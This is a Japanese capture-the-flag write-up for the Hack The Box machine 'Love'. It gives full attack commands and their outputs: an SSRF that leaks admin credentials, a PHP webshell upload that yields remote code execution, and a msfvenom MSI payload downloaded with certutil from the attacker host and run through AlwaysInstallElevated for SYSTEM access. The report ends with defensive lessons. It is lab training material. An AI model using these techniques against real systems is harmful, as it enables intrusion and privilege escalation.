Hack The BoxのWriteup(Love)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Love — 全実行コマンド・実行結果レポート
Nmap スキャン
80/443/445/3306/5000等多数
→
SSL証明書CN
staging.love.htb発見
→
beta.php SSRF
内部5000番ポートへ
→
admin:@LoveIsInTheAir!!!!
内部OMRS管理画面から漏洩
→
Voting System 1.0
管理者Webシェルアップロード
→
phoebe → user.txt ✓
→
AlwaysInstallElevated
悪意MSIパッケージ
→
msiexec (SYSTEM権限実行)
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.48.103
nmap -sV -sC -p 80,443,445,3306,5000,5985 10.129.48.103
RESULT
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: Voting System using PHP
443/tcp  open  ssl/http Apache httpd 2.4.46
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp
|_http-title: 403 Forbidden
445/tcp  open  microsoft-ds Windows 10 Pro 19042
3306/tcp open  mysql   MariaDB 10.3.24 or later (unauthorized)
5000/tcp open  upnp    Apache httpd 2.4.46
🚨
重要発見: ポート80では「Voting System using PHP」 という投票システムが稼働、ポート443のSSL証明書CNから staging.love.htbという別vhostを発見。さらに ポート5000に別のApache(内部管理システムと思われる)が稼働している。
BASH
echo "10.129.48.103  www.love.htb staging.love.htb love.htb" | sudo tee -a /etc/hosts
PHASE 2

staging.love.htb SSRF — 内部管理画面からの資格情報窃取

staging.love.htb/beta.php の確認

BASH
curl -sk https://staging.love.htb/beta.php
RESULT
<form method="post">
  <input type="text" name="file" placeholder="Enter a URL to scan">
  <input type="submit" name="read" value="Scan file">
</form>
ℹ️
「URLをスキャンする」というファイルスキャン機能のベータ版。 入力値がサーバー側で直接フェッチされる実装であれば、 外部からは到達できない内部限定サービス(ポート5000の管理画面等) へリクエストを中継させるSSRF(Server-Side Request Forgery) が成立する可能性が高い。

SSRFで内部ポート5000のOMRS管理画面を取得

BASH (本検証で実際に使用したパラメータ名: fileとread)
curl -sk -X POST https://staging.love.htb/beta.php \
  --data-urlencode "file=http://127.0.0.1:5000/" \
  --data-urlencode "read=Scan file"
RESULT (本検証の実際のレスポンスより抜粋)
... Online Medical Reservation System (OMRS) ...
Vote Admin Creds admin: @LoveIsInTheAir!!!!
...
✅
SSRF成功! 外部から直接アクセスできないポート5000の 内部システム(OMRS)のトップページを、ポート443経由で中継取得できた。 そのページ内に平文で「投票システム管理者アカウント」の資格情報 admin:@LoveIsInTheAir!!!!がメモ書きとして残されていた。
⚠️
実装上の注意: フォームのパラメータ名は url/submitではなくfileと read。一般的な命名を推測してPOSTすると 動かないため、実際のHTMLフォームのname属性を必ず確認すること。
PHASE 3

Voting System 1.0 管理画面からのWebシェルアップロードRCE & user.txt取得

管理画面へのログイン

BASH (本検証で実際に使用、ログインフィールド名はusername)
curl -s -c cookies.txt -X POST http://www.love.htb/admin/login.php \
  --data-urlencode "username=admin" \
  --data-urlencode "password=@LoveIsInTheAir!!!!" \
  --data-urlencode "login="
RESULT
HTTP/1.1 302 Found
Location: home.php
ℹ️
ログインフォームのユーザー名欄は一見voter_id風の 命名に見えるが、実際のname属性はusername。 home.phpへのリダイレクトでログイン成功を判定できる。

有権者追加フォーム(voters_add.php)を使ったWebシェルアップロード

NOTE
「有権者を追加」する管理機能には顔写真アップロード欄(photo)があり、
拡張子やMIMEタイプの検証が不十分なため、画像の代わりにPHP Webシェルを
アップロードできる。アップロードされたファイルは/images/配下へ
そのまま保存される。
BASH (本検証で実際に使用。ボタン名はsubmitではなくadd)
curl -s -b cookies.txt -X POST http://www.love.htb/admin/voters_add.php \
  -F "photo=@shell.php;filename=kcr_love.php;type=image/jpeg" \
  -F "firstname=pwn" \
  -F "lastname=er" \
  -F "password=Pwn3r123!" \
  -F "add="
RESULT
New voter added successfully.

Webシェル経由RCE確認 & user.txt取得

BASH
curl -s "http://www.love.htb/images/kcr_love.php?cmd=whoami"
RESULT (本検証の実際の出力)
love\phoebe
BASH
curl -s "http://www.love.htb/images/kcr_love.php?cmd=type+C:\Users\phoebe\Desktop\user.txt"
RESULT
59e4a19da1baa7cdbe53716effe5c684
user.txt — love\phoebe
59e4a19da1baa7cdbe53716effe5c684
PHASE 4

AlwaysInstallElevated + 悪意あるMSI — root.txt取得

AlwaysInstallElevatedレジストリ設定の確認

BASH (Webシェル経由で実行)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
RESULT (本検証の実際の出力)
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
🚨
重要発見: HKLMとHKCU両方でAlwaysInstallElevatedが 1に設定されている。これは「どのユーザーがMSIパッケージを インストールしても常にSYSTEM権限相当で実行される」という既知の 設定ミス——悪意あるMSIを作成してインストールさせるだけで SYSTEM権限のコード実行が可能になる。

AppLocker制約の確認と回避先ディレクトリ

NOTE
本マシンにはAppLockerが設定されており、実行可能ファイルの起動は
C:\Administration\配下のパスのみ許可される制約がある。そのため、
悪意あるMSIファイルはこのディレクトリへ配置する必要がある。
BASH
# Webシェル経由で作成
mkdir C:\Administration

悪意あるMSIパッケージの生成

BASH (Kali側で実行)
msfvenom -p windows/exec \
  CMD="cmd.exe /c copy C:\Users\Administrator\Desktop\root.txt C:\xampp\htdocs\omrs\images\kcr_root.txt && icacls C:\xampp\htdocs\omrs\images\kcr_root.txt /grant Everyone:F" \
  -f msi -o privesc.msi --platform windows -a x86
ℹ️
MSIパッケージ内のペイロードは、root.txtをWeb経由で直接 アクセス可能な/images/ディレクトリへroot権限でコピーし、 さらに全ユーザー読み取り可能なパーミッションを付与する内容に している。これにより、SYSTEM権限のシェル自体を取る必要なく フラグのみを安全に回収できる。

MSIのアップロード & インストール実行

BASH (Kali側でHTTP配信、ターゲットはcertutilでダウンロード)
# Kali: python3 -m http.server 8765

# Webシェル経由でターゲットに実行させる
certutil -urlcache -split -f http://10.10.15.200:8765/privesc.msi C:\Administration\privesc.msi
msiexec /quiet /i C:\Administration\privesc.msi
RESULT
CertUtil: -URLCache command completed successfully.
(msiexecは静音実行のためエラー無し、終了コード0)
✅
root化成功! msiexecは AlwaysInstallElevatedの設定によりSYSTEM権限で インストールペイロード(root.txtのコピー)を実行した。

root.txtの回収

BASH
curl -s http://www.love.htb/images/kcr_root.txt
RESULT (本検証の実際の出力)
03449712ab9c9ba0ef12ba8fe8400e0d
root.txt — AlwaysInstallElevated MSI (SYSTEM権限実行)
03449712ab9c9ba0ef12ba8fe8400e0d
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — love\phoebe
59e4a19da1baa7cdbe53716effe5c684
root.txt — AlwaysInstallElevated MSI (SYSTEM権限実行)
03449712ab9c9ba0ef12ba8fe8400e0d

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SSRF (Server-Side Request Forgery) staging.love.htb/beta.php (URLスキャン機能) 内部限定サービスへの到達・資格情報漏洩 Critical 内部ポート5000のOMRS管理画面を中継取得し平文資格情報を窃取
Voting System 1.0 任意ファイルアップロード (EDB-49445) /admin/voters_add.php (写真アップロード欄) リモートコード実行 (love\phoebe) Critical 拡張子検証不備を突きPHP Webシェルを/images/配下へアップロード
AlwaysInstallElevated HKLM/HKCU レジストリポリシー 権限昇格 (SYSTEM) Critical 悪意あるMSIパッケージをmsiexecでインストールさせSYSTEM権限のコマンドを実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap, SSL証明書CN80/443/445/3306/5000等、staging.love.htb発見
2資格情報窃取beta.php SSRF (file/readパラメータ)admin:@LoveIsInTheAir!!!!
3RCEVoting System 1.0 ファイルアップロードuser.txt (phoebe)
4権限昇格AlwaysInstallElevated + 悪意MSIroot.txt

学んだ教訓 & 防御策

問題点防御策
URLスキャン機能が入力URLの接続先を検証せず内部ネットワークへのリクエストを許可している 外部URLフェッチ機能には宛先IPのホワイトリスト化、プライベートIPレンジ(127.0.0.1、10.0.0.0/8等)への接続拒否を実装する。
アップロードフォームでファイルの拡張子・内容検証が不十分で実行可能なPHPファイルをアップロードできる アップロードファイルのMIMEタイプ・マジックバイトを厳密に検証し、アップロード先ディレクトリでのスクリプト実行を無効化する。
内部管理システムに平文の資格情報メモが掲載されている 資格情報を画面上に平文表示しない。パスワードマネージャーやシークレット管理サービスを使用する。
AlwaysInstallElevatedポリシーが有効なまま運用されている グループポリシーでAlwaysInstallElevatedを無効化する(0に設定)。MSIパッケージの配布・実行は署名済みパッケージに限定する。
HackTheBox: Love | 完全攻略レポート